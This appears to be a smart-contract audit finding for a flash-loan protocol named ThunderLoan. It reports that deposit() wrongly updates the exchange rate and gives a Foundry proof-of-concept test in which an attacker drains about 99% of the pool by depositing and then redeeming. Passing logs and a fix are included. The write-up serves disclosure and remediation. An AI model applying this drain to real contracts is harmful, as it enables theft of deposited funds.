Summary
There's no reason to update the exchangeRate when a deposit is done. The calculatedFee is related to the flashloan functionality and has nothing to do with deposit.
Vulnerability Details
Updating the exchange rate after the deposit gives an attacker a way to drain all the funds of the available in the asset address.
PoC
Replace the state part of the ThunderLoanTest contract with this:
contract ThunderLoanTest is StdUtils, BaseTest {
uint256 constant AMOUNT = 10e18;
uint256 constant DEPOSIT_AMOUNT = AMOUNT * 2;
address liquidityProvider = address(123);
address iWantProblems = makeAddr("I want problems always!");
address user = address(456);
MockFlashLoanReceiver mockFlashLoanReceiver;
BadIntentions badIntentions;
uint256 maxUint256 = type(uint256).max;
uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
copy the following test:
function testLargeDepositThenRedeem() public setAllowedToken hasDeposits{
uint256 attackAmount = 6660e18;
AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
tokenA.mint(iWantProblems, attackAmount);
uint256 protocolStartingBalance = tokenA.balanceOf(address(asset));
uint256 attackerStartingBalance = tokenA.balanceOf(address(iWantProblems));
console.log("Protocol started with %s", protocolStartingBalance);
console.log("Attacker started with %s", attackerStartingBalance);
vm.startPrank(iWantProblems);
tokenA.approve(address(thunderLoan), attackAmount);
thunderLoan.deposit(tokenA, attackAmount);
thunderLoan.redeem(tokenA, maxUint256);
vm.stopPrank();
uint256 protocolEndingBalance = tokenA.balanceOf(address(asset));
uint256 attackerEndingBalance = tokenA.balanceOf(address(iWantProblems));
console.log("Protocol ended with %s", protocolEndingBalance);
console.log("Attacker ended with %s", attackerEndingBalance);
console.log("Protocol lost", protocolStartingBalance - protocolEndingBalance);
console.log("Protocol lost %s % of the balance", (protocolStartingBalance - protocolEndingBalance) * 100 / protocolStartingBalance);
assertLt(protocolEndingBalance, 2e17);
}
The starting balance of the project comes from the hasDeposits modifier which makes the liquidityProvider address deposit 20e18 tokenA (which might as well be WETH).
Running 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
[PASS] testLargeDepositThenRedeem() (gas: 3238348)
Logs:
Protocol started with 20000000000000000000
Attacker started with 6660000000000000000000
Protocol ended with 20239279287913121
Attacker ended with 6679979760720712086879
Protocol lost 19979760720712086879
Protocol lost 99 % of the balance
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.31ms
As we can see the protocol ends up with an amount lower than 2e17, losing over 99% of it's balance.
Impact
An attacker can steal all the protocol's balance.
Tools Used
Forge testing + Manual review
Recommendations
Don't update the exchange rate in the deposit function:
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
-- uint256 calculatedFee = getCalculatedFee(token, amount);
-- assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
